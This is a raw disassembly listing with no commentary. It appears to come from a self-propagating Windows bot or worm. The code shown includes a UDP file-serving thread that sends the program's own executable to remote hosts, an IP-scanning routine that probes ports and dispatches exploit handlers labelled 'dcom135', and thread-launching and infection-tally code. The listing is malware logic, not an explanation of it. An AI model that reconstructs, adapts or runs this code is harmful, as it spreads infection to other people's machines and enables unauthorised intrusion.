		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D66
		push	1388h
		call	dword_421060	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407129
; ---------------------------------------------------------------------------

loc_406D66:				; CODE XREF: sub_406C3E+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DE4
		push	190h
		call	dword_421060	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42726C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		push	[ebp+var_170]
		call	sub_4152AF
		add	esp, 28h
		push	ebx
		call	dword_421048	; ExitThread

loc_406DE4:				; CODE XREF: sub_406C3E+140j
		mov	esi, 200h

loc_406DE9:				; CODE XREF: sub_406C3E+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070E9
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43A380	; select
		test	eax, eax
		jle	loc_4070DD
		mov	al, byte_438FBC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43A370	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070C7
		cmp	[ebp+var_D7], 1
		jnz	loc_407013
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CF0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_416ED0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FCD
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_416ED0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FCD
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_416E3E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_416BB0
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43A3FC	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset unk_427218

loc_406F81:				; CODE XREF: sub_406C3E+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406FBB
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		add	esp, 14h

loc_406FBB:				; CODE XREF: sub_406C3E+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4070DD
; ---------------------------------------------------------------------------

loc_406FCD:				; CODE XREF: sub_406C3E+2B6j
					; sub_406C3E+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_427204
		push	edi
		call	dword_43A3FC	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_4271C8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		jmp	loc_4070DD
; ---------------------------------------------------------------------------

loc_407013:				; CODE XREF: sub_406C3E+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070C7
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_407050
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_40705E
; ---------------------------------------------------------------------------

loc_407050:				; CODE XREF: sub_406C3E+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_40705E:				; CODE XREF: sub_406C3E+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416E3E
		push	[ebp+var_8]

loc_40707B:				; DATA XREF: seg000:00424DA8o
					; seg000:00424DBCo ...
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43A3FC	; sendto
		cmp	edi, ebx
		jnz	short loc_4070DD
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_427178
		jmp	loc_406F81
; ---------------------------------------------------------------------------

loc_4070C7:				; CODE XREF: sub_406C3E+268j
					; sub_406C3E+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42716C
		push	edi
		call	dword_43A3FC	; sendto

loc_4070DD:				; CODE XREF: sub_406C3E+204j
					; sub_406C3E+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DE9

loc_4070E9:				; CODE XREF: sub_406C3E+1B4j
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_8]
		call	sub_415B40
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40711D
		push	[ebp+var_170]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread

loc_40711D:				; CODE XREF: sub_406C3E+4CAj
		push	3E8h
		call	dword_421060	; Sleep
		push	esi

loc_407129:				; CODE XREF: sub_406C3E+123j
		call	sub_406C3E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407135	proc near		; CODE XREF: sub_40CE55+5799p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4276DC
		push	eax
		xor	ebx, ebx
		call	sub_4154E7
		cmp	dword_427338, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4071A3
		push	esi
		mov	esi, offset dword_427340

loc_407168:				; CODE XREF: sub_407135+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407168
		pop	esi

loc_4071A3:				; CODE XREF: sub_407135+2Bj
		push	dword_468818
		call	sub_40A9B2
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071FF	proc near		; CODE XREF: sub_40CE55+5106p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40723B
		mov	eax, [ebp+arg_C]
		push	dword_438FE8[eax*8]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427748
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	short loc_40724E
; ---------------------------------------------------------------------------

loc_40723B:				; CODE XREF: sub_4071FF+13j
		lea	eax, [ebp+var_200]
		push	offset unk_427714
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40724E:				; CODE XREF: sub_4071FF+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		leave
		retn
sub_4071FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407276	proc near		; CODE XREF: sub_40799F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407606
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_427344[eax], ebx
		jz	loc_4074E7
		push	4
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	eax, dword_42C188
		push	edi
		mov	edi, offset dword_439964
		push	104h
		push	edi
		push	ebx
		mov	dword_439B74, eax
		mov	dword_439B70, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_439A68
		push	offset byte_42C1FC
		push	esi
		call	sub_416D40
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439960, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439BF8, eax
		jnz	short loc_407329
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439B78
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_439BFC, 1
		jmp	short loc_407343
; ---------------------------------------------------------------------------

loc_407329:				; CODE XREF: sub_407276+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439B78
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_439BFC, ebx

loc_407343:				; CODE XREF: sub_407276+B1j
		push	esi
		push	edi
		push	dword_439B74
		lea	eax, [ebp+var_204]
		push	offset unk_4278F4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_439B6C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439960
		push	offset sub_406C3E
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_439B6C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4073B2

loc_4073A0:				; CODE XREF: sub_407276+13Aj
		cmp	dword_439C00, ebx
		jnz	short loc_4073CD
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------

loc_4073B2:				; CODE XREF: sub_407276+128j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4278AC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_4073CD:				; CODE XREF: sub_407276+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B16D
		mov	edi, offset dword_439FBC
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43A1C8, ebx
		call	dword_42107C	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_43A0C0
		push	offset byte_42C1FC
		push	esi
		call	sub_416D40
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439FB8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43A250, eax
		jnz	short loc_407448
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43A1D0
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_43A254, 1
		jmp	short loc_407462
; ---------------------------------------------------------------------------

loc_407448:				; CODE XREF: sub_407276+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43A1D0
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_43A254, ebx

loc_407462:				; CODE XREF: sub_407276+1D0j
		push	esi
		push	edi
		push	dword_43A1CC
		lea	eax, [ebp+var_204]
		push	offset dword_427858
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_43A1C4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439FB8
		push	offset sub_405409
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43A1C4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4074D6

loc_4074C0:				; CODE XREF: sub_407276+25Ej
		cmp	dword_43A258, ebx
		jnz	loc_4075F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4074C0
; ---------------------------------------------------------------------------

loc_4074D6:				; CODE XREF: sub_407276+248j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_427814
		jmp	loc_4075EA
; ---------------------------------------------------------------------------

loc_4074E7:				; CODE XREF: sub_407276+25j
		cmp	dword_427348[eax], ebx
		jz	loc_407606
		push	3
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	esi, offset dword_439E94
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_417040
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407525
		mov	[eax], bl

loc_407525:				; CODE XREF: sub_407276+2ABj
		mov	eax, dword_42C18C
		mov	dword_439FAC, ebx
		mov	dword_439F98, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439C0C
		call	sub_4154E7
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_439C08, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439F98
		mov	dword_439FA4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439FA8, ecx
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4277C4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_439FA0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439C08
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_439FA0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4075DE

loc_4075CC:				; CODE XREF: sub_407276+366j
		cmp	dword_439FB4, ebx
		jnz	short loc_4075F9
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4075CC
; ---------------------------------------------------------------------------

loc_4075DE:				; CODE XREF: sub_407276+354j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42777C

loc_4075EA:				; CODE XREF: sub_407276+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_4075F9:				; CODE XREF: sub_407276+250j
					; sub_407276+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_407606:				; CODE XREF: sub_407276+14j
					; sub_407276+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40760A	proc near		; CODE XREF: sub_40778B:loc_4077FCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438FE8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43A2CC	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43A394	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4155D0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40760A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407652	proc near		; CODE XREF: sub_40778B+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415CF0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40767A
		xor	eax, eax
		jmp	short loc_4076EB
; ---------------------------------------------------------------------------

loc_40767A:				; CODE XREF: sub_407652+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416AA0
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4076A7
		call	sub_415543
		mov	[ebp+var_C], eax

loc_4076A7:				; CODE XREF: sub_407652+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4076B4
		call	sub_415543
		mov	[ebp+var_8], eax

loc_4076B4:				; CODE XREF: sub_407652+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4076C1
		call	sub_415543
		mov	[ebp+var_4], eax

loc_4076C1:				; CODE XREF: sub_407652+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076CD
		call	sub_415543

loc_4076CD:				; CODE XREF: sub_407652+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_438FE8[ecx*8], eax

loc_4076EB:				; CODE XREF: sub_407652+26j
		pop	esi
		leave
		retn
sub_407652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076EE	proc near		; CODE XREF: sub_40778B+B8p
					; sub_412B98+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43A418	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407717
		xor	eax, eax
		jmp	short loc_407786
; ---------------------------------------------------------------------------

loc_407717:				; CODE XREF: sub_4076EE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43A398	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A434	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43A340	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43A380	; select
		push	esi
		mov	edi, eax
		call	dword_43A430	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407786:				; CODE XREF: sub_4076EE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40778B	proc near		; DATA XREF: sub_40799F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415539
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077D2:				; CODE XREF: sub_40778B+200j
		mov	eax, dword_43F52C[ebx]
		cmp	dword_438FEC[eax*8], 0
		jz	loc_407990
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077FC
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407652
		pop	ecx
		jmp	short loc_407801
; ---------------------------------------------------------------------------

loc_4077FC:				; CODE XREF: sub_40778B+60j
		call	sub_40760A

loc_407801:				; CODE XREF: sub_40778B+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43F52C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427990
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43F328[ebx]
		push	eax
		call	sub_4154E7
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076EE
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_407980
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078D5
		push	offset dword_439948
		call	dword_4210B4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427954
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4078B7
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078AB
		lea	eax, [ebp+var_140]

loc_4078AB:				; CODE XREF: sub_40778B+118j
		push	eax
		push	[ebp+var_40]
		call	sub_412D4C
		add	esp, 14h

loc_4078B7:				; CODE XREF: sub_40778B+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B16D
		mov	[esp+2A8h+var_2A8], offset dword_439948
		call	dword_4210B0	; RtlLeaveCriticalSection
		jmp	loc_407980
; ---------------------------------------------------------------------------

loc_4078D5:				; CODE XREF: sub_40778B+CDj
		push	edi
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_407919
		lea	eax, [ebp+var_140]

loc_407919:				; CODE XREF: sub_40778B+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42733C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407980:				; CODE XREF: sub_40778B+C3j
					; sub_40778B+145j
		push	7D0h
		call	dword_421060	; Sleep
		jmp	loc_4077D2
; ---------------------------------------------------------------------------

loc_407990:				; CODE XREF: sub_40778B+55j
		push	esi
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_40778B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40799F	proc near		; DATA XREF: sub_40CE55+31D4o
					; sub_40CE55+4D64o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_438FE8[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407276
		push	8
		call	sub_4151DB
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A6D
		mov	esi, offset dword_439948
		push	esi
		call	dword_4210BC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4210B8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_407A6D
		lea	eax, [ebp+var_1CC]
		push	offset unk_427AD4
		push	eax
		call	sub_4154E7
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
